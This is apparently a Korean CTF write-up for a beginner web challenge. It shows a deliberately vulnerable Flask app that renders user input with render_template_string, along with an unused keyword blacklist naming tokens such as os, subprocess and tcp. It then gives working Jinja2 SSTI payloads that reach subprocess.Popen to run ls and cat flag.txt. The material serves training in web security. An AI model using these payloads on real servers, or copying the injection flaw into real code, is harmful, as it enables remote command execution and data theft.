CTF/HSpace WAR

for_beginner write-up

박연준 2024. 1. 13. 12:45

 

1월 Space WAR의 Web Challenge에 가장 첫 번째 문제는 for_beginner이다. 

 

 

소스 코드는 다음과 같다. 소스 코드를 분석해보면 Prevent_SSTI 라는 함수를 정의해 이번 문제는 SSTI 문제인 것을 알 수 있다. get 메소드를 통해 name의 파라미터 값을 홈페이지에 바로 출력해주고 있다. 근데 Prevent_SSTI 함수를 정의해 놓고 main 함수에서는 사용하고 있지 않다..

from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
import re

app = Flask(__name__)

blacklist = ['os','subprocesses','exec','vars','sys','"','\+','open','rm','main','static','templates','ctf','rf','spawnlp','execfile','dir','dev','tcp','sh','import','built','__class__','for','request','\,','app','file','url_for','\[','\]','config']

def Prevent_SSTI(input):
    for i in blacklist:
        res = re.search(i,input)
        if res:
            return True
    else:
        return False

@app.route('/')
def main():
    name = request.args.get("name", "World")
    return render_template_string(f'Hello {name}!!')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

 

 

 

SSTI(Server Side Template Injection) 취약점은 공격자가 서버 측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입한 다음 서버 측에서 실행되면서 생기는 취약점이다.

 

 

 

requirenment.txt 파일을 확인하면 Flask와 Jinja2를 사용하고 있는데, 이 경우는 {{..}} 형태의 템플릿을 사용한다. 

 

 

 

 

테스트 겸 name이라는 파라미터 값에 {{5*5}}를 넣어보면 다음과 같이 5*5인 사칙연산이 수행되면서 Hello 25가 나온 것을 확인할 수 있다. 

 

 

 

다음으로 SSTI를 검사하는 필터링이 적용되어 있지 않으니 config.imtes() 를 통해 config 내부에 있는 값들을 딕셔너리 형태로 출력시켜보자.

 

 

 

아래의 페이로드를 name 파라미터 값에 다시 요청해 사용할 수 있는 클래스를 검색할 수 있다.

{{%27%27.__class__.__mro__}}

 

 

 

str과 object 두 클래스가 반환되는 것을 알 수 있는데, 파이썬에서는 거의 object 함수를 사용한다고 한다.

 

 

 

 

아래 페이로드를 통해서 object 클래스에는 어떤 값들이 있는지 확인해볼 수 있다.

{{%27%27.__class__.__mro__[1].__subclasses__()}}

 

 

 

 

여기서 내용이 좀 많아 open을 검색하니 다음과 같이 Popen이라는 키워드를 찾을 수 있었다.

 

 

 

 

 

내용이 조금 많아 귀찮지만 슬라이싱을 때려맞춰보면 494가 subprocess.Popen이라는 것을 알 수 있다.

 

 

다음 페이로드를 통해서 ls 명령어를 실행시켜주면 Dockerfile, app.py,. flag.txt 파일이 3개 있는 것을 확인할 수 있다.

{{%27%27.__class__.__mro__[1].__subclasses__()[494](%27ls%27,shell=True,stdout=-1).communicate()}}

 

 

위의 ls를 cat%20flag.txt로 변경해주면 flag 값을 읽을 수 있다.